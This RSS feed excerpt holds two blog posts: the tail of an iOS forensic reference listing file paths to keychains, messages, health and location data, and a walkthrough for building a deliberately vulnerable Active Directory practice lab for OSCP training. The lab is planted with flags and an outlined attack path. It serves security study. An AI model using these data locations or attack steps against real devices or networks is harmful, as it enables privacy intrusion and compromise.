Model</p><pre>/private/var/preferences/SystemConfiguration/NetworkInterfaces.plist</pre><p>Network Information (IP)</p><pre>/preferences/SystemConfiguration/preferences.plist<br>/private/var/preferences/SystemConfiguration/preferences.plist</pre><p>DHCP</p><pre>/db/dhcpclient/leases/<br>/private/var/db/dhcpclient/leases</pre><p>Known WiFi</p><pre>[/private/var/]preferences/SystemConfiguration/com.apple.wifi.plist</pre><p>Configuration profiles</p><pre>/private/var/mobile/Library/ConfigurationProfiles/ , /private/var/containers/S<br>hared/SystemGroup/systemgroup.com.apple.configurationprofiles</pre><p>Enterprise Provisioning Profiles</p><pre>/private/var/MobileDevice/ProvisioningProfiles/</pre><p>FileSystem Events</p><pre>&lt;VOLUME ROOT&gt;/.fseventsd</pre><p>Keychains</p><pre>/Keychains: keychain-backup.plist<br>/private/var/Keychains/keychain-2.db</pre><p>LaunchAgent (User)</p><pre>/Library/LaunchAgents/</pre><p>LaunchDaemons (System)</p><pre>/System/Library/LaunchDaemons , System/Library/NanoLaunchDaemons ,<br>Library/LaunchDaemons</pre><p>Keyboard — Dictionary — Spelling<br>aka Passwords!</p><pre>/KeyboardDomain/Library/Keyboard , /mobile/Library/Keyboard<br>/private/var/mobile/Library/Keyboard/</pre><p>Finder / SpringBoard</p><pre>Today View Archive. plist , IconState.plist , &lt;GUID&gt;-CarDisplayIconState.plist<br>/mobile/Library/SpringBoard/<br>/private/var/mobile/Library/SpringBoard/</pre><p>Notifications</p><pre>/mobile/Library/UserNotifications/<br>/private/var/mobile/Library/UserNotifications/</pre><p>Bluetooth Devices</p><pre>com.apple.MobileBluetooth.devices.plist , com.apple.MobileBluetooth.ledevices<br>.other.db , com.apple.MobileBluetooth.ledevices.paired.db</pre><p>Installation Log</p><pre>iOS 6: /mobile/Library/Logs/MobileInstallation/<br>iOS 7–9: /private/var/mobile/Library/Logs/MobileInstallation/<br>iOS 10+: /private/var/installd/Library/Logs/MobileInstallation/<br>/private/var/mobile/Library/FrontBoard/applicationState.db</pre><p>Unified Logs</p><p>Logs:</p><pre>/var/db/diagnostics/</pre><p>Ref Data:</p><pre>/var/db/uuidtext/</pre><p>Application Preferences</p><pre>/mobile/Applications/&lt;bundle_id&gt;/ , /mobile/Library/Preferences , /mobile/Libra<br>ry/<br>/private/var/mobile/Containers/.../&lt;bundle_id&gt;/Preferences , /private/var/mobi<br>le/Preferences , /private/var/mobile/Library/</pre><p>Application Caches</p><pre>/private/var/mobile/Containers/.../&lt;bundle_id&gt;/Library/Caches/ , /private/var/<br>mobile/Library/Cache/&lt;bundle_id&gt;</pre><p>App Shared Directories</p><pre>Normal App data: /Data/Application/<br>Shared App data: /Shared/AppGroup/</pre><p>Application Snaphosts (thumbs when app is backgrounded)</p><pre>&lt;app_dir&gt;/Library/Caches/Snapshots/&lt;bundle_id&gt;/</pre><p>TCC (Transparency, Control Control) — permissions</p><pre>/mobile/Library/TCC/TCC.db<br>/private/var/mobile/Library/TCC/TCC.db</pre><p>Apps using Location Services</p><pre>/root/Library/Caches/locationd/clients.plist<br>/private/var/root/Library/Caches/locationd/clients.plist</pre><p>MRU — Recent Apps</p><pre>/mobile/Library/Recents/com.apple.corerecents.recentsd<br>com.apple.springboard.plist<br>/private/var/mobile/Library/Recents/com.apple.corerecents.recentsd</pre><p>Internet Accounts</p><pre>[/private/var]/mobile/Library/Accounts/Accounts{3,4}.sqlite</pre><p>App — Safari</p><pre>History.db<br>LastSession.plist<br>BrowserState.db<br>/mobile/Library/Safari/<br>/private/var/mobile/Library/Safari/ , /private/var/mobile/Containers/Data/Appl<br>ication/&lt;GUID&gt;/</pre><p>App — Safari (FFS only)</p><pre>/private/var/mobile/Containers/Data/Application/&lt;GUID&gt;/Library/Caches/ , /priv<br>ate/var/mobile/Containers/Data/Application/&lt;GUID&gt;/Library/Safari/Thumbnails/ ,<br>/private/var/mobile/Library/Safari/CloudTabs.db</pre><p>synced tabs</p><pre>private/var/mobile/Containers/Data/Application/&lt;GUID&gt;/Library/Caches/W<br>ebKit/</pre><p>website visit, cached items list</p><pre>com.apple.Safari.plist</pre><p>config &amp; recent searches</p><pre>RecentlyClosedTabs.plist</pre><pre>Downloads.plist</pre><p>App — Mail</p><pre>Envelope Index (db)<br>/mobile/Library/Mail/<br>/private/var/mobile/Library/Mail/ , /private/var/mobile/Containers/Data/Applic<br>ation/&lt;GUID&gt;/</pre><p>App — Messages</p><pre>/mobile/Library/SMS/sms.db<br>/private/var/mobile/Library/SMS/sms.db</pre><p>App — Call History</p><pre>CallHistory.storedata )<br>/mobile/Library/CallHistoryDB/<br>/private/var/mobile/Library/CallHistoryDB</pre><p>App — Voice Mail (voicemail.db, AMR, *.transcript files)</p><pre>/mobile/Library/Voicemail/<br>/private/var/mobile/Library/Voicemail/</pre><p>App — Calendar</p><pre>/mobile/Library/Calendar/<br>/private/var/mobile/Library/Calendar/</pre><p>App — Reminders</p><pre>Data-&lt;GUID&gt;.sqlite<br><br>/mobile/Library/Reminders<br><br>/private/var/mobile/Library/Reminders/</pre><p>App — Address Book aka Contacts</p><pre>( AddressBook-v22.abcddb )<br>/mobile/Library/AddressBook<br>[/private/var/]mobile/Library/AddressBook/</pre><p>App — Notes</p><pre>NoteStore.sqlite , Media/ , Preview/ )<br>/mobile/Applications/com.apple.notes<br>/mobile/Applications/Notes (Legacy)<br><br>/private/var/mobile/Containers/Shared/AppGroup/&lt;GUID&gt;<br>/private/var/mobile/Library/Notes (Legacy)</pre><p>App — Wallet (Cards, Transactions, Peer Payments)</p><pre>/private/var/mobile/Library/Passes , /private/var/mobile/Library/Mobile<br>Documents/com~apple~shoebox/UbiquitosCards (iCloud)<br>passes23.sqlite</pre><p>App — Photos ( Photos.sql , photos — xattrs)</p><pre>[/private/var/]mobile/Media/PhotoData , [private/var/]mobile/Media/</pre><p>App — Maps (may not contain all files)</p><pre>/mobile/Applications/com.apple.Maps/<br><br>/private/var/mobile/Containers/Data/Application/&lt;GUID&gt;/Maps</pre><p>App — ScreenTime</p><pre>/private/var/mobile/Library/Application Support/com.apple.remotemanagementd</pre><p>AppleWatch</p><pre>/mobile/Library/DeviceRegistry/</pre><p>Application Usage<br>Media Playing<br>Device Status (lock, powered)</p><pre>/private/var/mobile/Library/CoreDuet/Knowledge/knowledgeC.db</pre><p>Application Usage<br>Volume and Battery Level</p><p>Call Status &amp; Camera State</p><pre>( CurrentPowerlog.PLSQL )</pre><p>Dealing with timestamps sysDiagnose</p><pre>/private/var/containers/Shared/SystemGroup/&lt;GUID&gt;/Library/BatteryLife/ (+ Arch<br>ives/</pre><p>Health</p><pre>/private/var/mobile/Library/Health/healthdb_secure.sqlite</pre><p>Device Status — Lock</p><pre>/private/var/mobile/Library/AggregateDictionary/ADDataStore.sqlitedb</pre><p>Location (significant locations)</p><pre>/private/var/mobile/Library/Caches/com.apple.routined/</pre><p>Location (WiFi)</p><pre>/private/var/root/library/caches/locationd/{cache_encrypted*.db,lockCache_enc<br>rypted*.db}</pre><p>Apple Document Versions/Revisions/History</p><pre>/private/var/.DocumentRevisions-V100/</pre><p>iCloud Synced Preferences</p><pre>SyncedPreferences dirs</pre><pre>/private/var/mobile/Library/SyncedPreferences/<br>/private/var/mobile/Containers</pre><p>iCloud — WiFi</p><pre>com.apple.wifid.plist<br><br>com.apple.airport.plist</pre><p>iCloud — Synced Documents</p><pre>Mobile Documents/</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a121c74ef42d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HOW I SET UP MY OSCP HOME MADE LAB]]></title>
            <link>https://medium.com/@mpotisambo8/how-i-set-up-my-oscp-home-made-lab-5f2e5e8f4bce?source=rss-5e606632a6f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f2e5e8f4bce</guid>
            <dc:creator><![CDATA[mpoti sambo]]></dc:creator>
            <pubDate>Tue, 13 Feb 2024 12:13:20 GMT</pubDate>
            <atom:updated>2024-02-13T12:13:20.124Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello everyone its stuxnet8 back again with another blog post. So i have been getting requisites on how to create my own lab for performing a pentest on an Active directory. Well in this blog post i will show you step by step on how to set up your lab to look like mine.</p><p>First i will use virtual box and use window server 2016.</p><p>i will install windows 2016 server and chose the Desktop environment. Then provide the admin credentials of the Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*3uD6Tb4BPaNKL-b2JTGFQg.png" /><figcaption>creating an admin user for the DC</figcaption></figure><p>Adding roles and features</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*xFcmOzR7o4Cr5APDbUqLGg.png" /><figcaption>features</figcaption></figure><p>So i added some features in my lab such as DHCP, DNS, Remote Acess, Web Server.</p><p>After the installation i had to prompt the computer to a Domain controller which i gave the name of mpoti.local</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*xz1I_Pas3P7VMuu5zqmULQ.png" /></figure><p>So once that is done this message will appear</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*n4nYHWEM5hhCOt6fW_cGqA.png" /></figure><p>So when it gets back on the window server 2016 will be a DC (Domain Controller)</p><p>So next i will rename the computer</p><p>I will just use this command</p><pre>Ps:Rename-Computer -NewName &quot;Controller1&quot; -DomainCredential MPOTI\Administrator -Restart</pre><p>This will prompt you to enter credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*ErHE0GurScss_IIH5EQjfA.png" /></figure><p>Or one could simply say</p><pre>Rename-Computer -NewName &quot;Controller1&quot; -Restart</pre><p>we have to let the computer restart and check the computer details</p><pre>systeminfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*sJ5rxSyW3OWqm9MotTsUSw.png" /></figure><p>As you can see i already have the computer name changed to controller and as you can see the domain name is mpoti.local</p><p>Ok so next am going to create a user called jack on the DC.</p><p>But before that i aleady have a normal windows vm installed so i will configure the two vms to communicate with each other so that i can join the computer to the domain.</p><p>setting virtual box network adapters to bridged so that i can easily access it on my network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*HGUwcM3AD8qZk0k6n7cY9Q.png" /></figure><p>Checking the bridged adapter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*xxS6QJmL394OQApkuHG8Ew.png" /></figure><p>I could go ahead and make that my permanent ip which am going to do so</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*1INkLTNJ-XKxtJZJNpE21A.png" /></figure><p>Next i will make it discoverable on my network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*C3j54xHDYnomI6JwfaNbJg.png" /></figure><p>As you can see i can now access it on my local network</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*xvt6N9optUIvn1CmKQqSLg.png" /></figure><p>Lets go ahead and configure this ip as our DNS server on our windows machine on the vm and rename the computer i will use the word jacks computer from here and on.</p><p>Ip of the jacks computer and make it also discoverable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*VhzgdQTOZbEZaJAcSGv0MA.png" /></figure><p>Here is the network configurations of jack’s computer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/459/1*Fd75fZYZxkZffhH4Xw_T5w.png" /><figcaption>jack’s config</figcaption></figure><p>Let’s check if we can reach our domain controller</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*PGxgdQGgVP-BavfQW3yvAA.png" /></figure><p>Now lets rename the computer to jack’s computer</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*jj6O-XDqUR1QSW9zHTsjxA.png" /></figure><p>So we have not yet added the computer to our domain as you can see</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*TLtW26MsbDbceACGd5oozQ.png" /></figure><p>Now lets add it to the Domain</p><pre>sysdm.cpl</pre><p>we can go and make some changes now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/404/1*zFg86VDKB_jpLIisAUmHzA.png" /></figure><p>Ok now i ran into a problem on the windows machine i was using saying the windows edition i was using can not be used to connect to the domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PTDZQWQoyj96dR0RrBghOA.png" /></figure><p>So i will try and install windows 10 pro and repeat the same steps again. So i will skip forward an install windows 10 pro edition and create a user jack on machine</p><p>New user jack</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*7qqla08Drghrb3ARYLg3oA.png" /></figure><p>Configuring the DNS server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*LLiKVyaopCEYemhCxSyJqA.png" /></figure><p>Now this new Windows machine is good to go i choose windows 10 pro during installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*TSJA2o2FSjMYFMDOhBh23A.png" /></figure><p>Since we have that sorted lets head to the Contoller1 DC and go create a user called jack and give them the credentials.</p><p>I went Active directory Users and computers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/431/1*iKjv7IJYE0inhNd9jJUAEw.png" /></figure><p>Now lets set up the password and put it to never expire. Next you can unlock the user on the Account settings</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*TNeB1ZQVTbEb1ZC3cJ1mtQ.png" /></figure><p>Let’s head back to JACKSCOMPUTER and join him in domain with the new credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*UP1rknijbWsZitZ4yXUBFg.png" /></figure><p>Now i will enter the credentials of the user jack that i put on the DC.</p><p>NB: there are various scripts out there that can help you create users on the Domain i will not use that because i want to minimize my resource usage. Also there are resources out there that could help you make a vulnerable home lab by just simply runnning a script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*6Sxqoz5gPHtJE1vv7ghxoA.png" /></figure><p>I will set jack as a standard user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*J6WhJS8BYhuXp0XjuuGKiw.png" /></figure><p>At this moment of time i was ready to restart my computer since i have changed the computer name and already joined the user jack to the domain group of Controller1 DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*a1BSMAjnJlv_XPKEgWFfRA.png" /></figure><p>As you can see we now have Jack user as part of our Domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*WQvrY0_XJStwYpHZWe-Z4g.png" /></figure><p>Lets confirm that again and see if we are in the same domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*oOqZIJiYNMRAfL1ERo1XHg.png" /></figure><p>So from the above information we can customize it with anything we want. We can configure smb to run on the DC and also web services on DC but its not good practice to run web services on the DC so i will host a simple web service on jackscomputer.</p><p>So i will configure an smb share on the DC that can be accessed by user jack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*js2PxSyvVvmYEqPjWgtsVQ.png" /></figure><p>I will create a new share called FinacialRecords</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*I4PcyDw3fLnPn19GRJmpsQ.png" /></figure><p>I will choose permission of built in users of the domain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*1jOpr2JwQeqjN5XXMLfwoA.png" /></figure><p>Now we done with the shares of smb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*n-zyJsJVrfmhFWD3jLwalg.png" /></figure><p>When we check using jacks computer for any shares on the dc of ip 172.17.17.124 we can see it FinacialRecords.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*irCjWYSuXspcw0WMWKfzRA.png" /></figure><p>So inside the folder i put a file that contains a flag so will be using that to hunt a few things.</p><p>next i will install a web server on jackscomputer and upload a website over there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*D2-TO5K4NxEX0MahcEiNSw.png" /></figure><p>So after all this i downloaded one vulnerable system called Traffic offense Record management system just to make it more fun.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iypCYGk_0w7hO6BtJ7s7HQ.png" /></figure><p>By the time i already had a web system live but it was not loading the css properly because there was no internet connection on the vm so i will put another network adapter i will go with NAT.</p><p>Next i had to download remote mouse to make things more spicy from exploit db so i selected the last one. Remote mouse 3.008 its vulnerable so must be fun to play around with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSJfqS0EMMbGLgt7jzlP8w.png" /></figure><p>I installed it on jackscomputer as you can see it is already installed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*i1iScHi2VoYMgMHOFjbouQ.png" /></figure><p>So now i have the web server on and properly loaded</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4blpMmsgvM_uETgP7onGYA.png" /></figure><p>I put a few flags in the server to help get a ctf environment for motivation i think with that being said, i have provided enough light on how we can create our own lab environment.</p><p>way around it.</p><p>1: Access the web server</p><p>2:Get user jacks creds</p><p>3: Do some priv escalation</p><p>4: Elevate and take the Domain Controller</p><p>There are so many ways that i have put that are easy to exploit and should be straight forward. Hopefully i will write a post on the various ways to exploit my home made lab. I used only 2 machines because of the resources i have but if i had a more compatible machine i would go with using at least 2 DC and other 3 windows vms to simulate more wide scenario of the OSCP exam. Looking forward to doing my OSCP incase i get funds to. Thanks</p><p>By stuxnet8</p><p>#visitTanzania</p><p>#visitKilimanjaro</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/277/1*FGfRJ4dX4CIzmnJZ-hWugA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f2e5e8f4bce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>